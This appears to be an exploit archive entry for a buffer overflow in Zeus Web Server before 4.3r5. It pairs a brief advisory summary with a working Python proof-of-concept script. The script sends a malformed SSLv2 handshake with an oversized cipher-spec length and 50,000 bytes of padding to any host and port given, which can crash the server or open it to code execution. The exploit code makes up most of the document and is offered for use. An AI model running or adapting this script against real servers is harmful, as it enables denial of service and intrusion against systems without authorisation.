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source: https://www.securityfocus.com/bid/37829/info Zeus Web Server is prone to a buffer-overflow vulnerability because the application fails to perform adequate boundary checks on user-supplied data. Attackers can exploit this issue to execute arbitrary code within the context of the affected application. Failed exploit attempts will result in a denial-of-service condition. Versions prior to Zeus Web Server 4.3r5 are vulnerable. #!/usr/bin/env python # zeus_ssl2.py # # Use this code at your own risk. Never run it against a production system. # # THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES # WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF # MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR # ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES # WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN # ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF # OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. import socket import sys import struct def send_req(host,port): buf="" buf+=chr(1) buf+="\x00\x02" buf+=struct.pack(">H",21) buf+=struct.pack(">H",0xffff) buf+=struct.pack(">H",16) buf+="\x07\x00\xc0\x03\x00\x80\x01\x00\x80\x08\x00\x80" buf+="\x06\x00\x40\x04\x00\x80\x02\x00\x80" buf+="A"* 50000 buf+="C"*16 siz =chr( ( (len(buf) & 0xff00) >> 8)| 0x80) + chr(len(buf)&0xff) buf = siz + buf sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((host,port)) sock.sendall(buf) sock.recv(1000) sock.close() if __name__=="__main__": if len(sys.argv)<3: print "usage: %s host port" % sys.argv[0] sys.exit() send_req(sys.argv[1],int(sys.argv[2])) |
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